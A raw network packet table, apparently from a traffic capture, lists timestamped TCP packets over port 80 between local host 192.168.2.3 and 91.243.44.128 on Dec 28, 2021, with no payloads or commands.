Dec 28, 2021 05:19:34.127027988 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127055883 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127094030 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127131939 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127151012 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127171993 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127191067 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127212048 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127254009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127290964 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127310038 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127332926 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127358913 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127372980 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127410889 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127449989 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127465963 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127486944 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127502918 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127526999 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127567053 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127603054 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127624035 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127644062 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127651930 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127686024 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127723932 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127763033 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127784967 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127801895 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127811909 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127841949 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127882957 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127921104 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127943993 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127960920 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.127974033 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128002882 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128041029 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128078938 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128098011 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128119946 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128129959 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128160000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128201962 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128238916 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128262997 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128278017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128287077 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128318071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128355026 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128395081 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128412008 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128432989 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128448963 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128473997 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128514051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128550053 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128570080 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128591061 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128601074 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128631115 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128668070 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128684998 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128709078 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128747940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128781080 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128804922 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128863096 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.128846884 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128923893 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128959894 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.128999949 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129023075 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129040956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129079103 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129097939 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129117966 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129133940 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129158020 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129195929 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129214048 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129235983 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129275084 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129292011 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129314899 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129354954 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129391909 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129414082 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129431963 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129447937 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129472017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129508972 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129547119 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129566908 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129585981 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129601955 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129625082 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129666090 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129704952 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129743099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129762888 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129772902 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129782915 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129822016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129861116 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129879951 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129899979 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129920959 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.129941940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.129982948 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.130021095 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.130044937 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.130062103 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.130079031 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.130100965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.130139112 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.130179882 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.130202055 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.130239964 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.139456987 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193155050 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193205118 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193223000 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193244934 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193257093 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193289042 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193289995 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193322897 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193334103 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193362951 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193367958 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193408012 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193408966 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193453074 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193454027 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193490982 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193496943 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193531990 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193535089 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193572998 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193577051 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193614960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193618059 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193656921 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193660021 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193696976 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193701982 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193737030 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193741083 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193775892 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193780899 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193815947 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193819046 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193855047 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193862915 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193896055 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193903923 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193938017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193939924 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.193978071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.193980932 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194015026 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194026947 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194056988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194058895 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194097042 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194102049 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194133997 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194139004 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194175005 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194178104 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194212914 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194220066 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194252968 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194258928 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194293976 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194297075 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194330931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194338083 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194370985 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194386005 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194411039 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194412947 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194448948 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194453001 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194487095 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194490910 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194525957 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194530010 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194566011 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194571018 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194605112 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194607973 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194643021 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194649935 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194689989 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194694042 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194735050 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194736958 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194772959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194777966 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194812059 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194814920 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194852114 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194855928 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194890022 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194895029 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194931030 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194935083 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.194968939 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.194973946 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.195008993 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.195012093 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.195050001 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.195060968 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.195094109 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.195096016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.195138931 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202255964 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202294111 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202327013 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202348948 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202359915 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202394962 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202394962 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202429056 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202430010 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202462912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202481985 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202501059 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202512026 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202536106 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202569962 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202584028 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202605009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202617884 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202640057 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202655077 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202675104 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202687979 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202712059 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202723026 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202745914 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202780008 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202780962 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202786922 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202814102 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202835083 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202847958 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202860117 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202883959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202896118 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202917099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202929974 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202951908 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.202963114 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.202986002 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203006029 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203027010 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203039885 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203061104 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203072071 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203095913 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203105927 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203130007 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203141928 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203165054 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203176022 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203197956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203210115 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203233957 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203242064 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203269005 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203280926 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203303099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203313112 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203336000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203349113 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203370094 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203382969 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203403950 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203416109 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203439951 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203450918 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203473091 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203485012 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203506947 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203522921 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203541040 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203556061 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203573942 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203586102 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203609943 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203634977 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203643084 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203654051 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203679085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203691006 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203715086 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203731060 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203747988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203764915 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203784943 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203795910 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203819036 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203830004 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203852892 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203866005 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203886986 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203901052 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203922033 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203932047 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203955889 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.203968048 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.203990936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.204003096 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.204024076 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.204051018 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.204076052 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.204101086 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.204133034 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.204133987 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.204164982 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.204166889 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.204199076 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.204205036 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.204216957 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.204247952 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.258184910 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.258236885 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.258253098 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.258277893 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.258291960 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.258321047 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.258358955 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.258378029 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.258398056 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.258416891 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.258445978 CET	80	49834	91.243.44.128	192.168.2.3
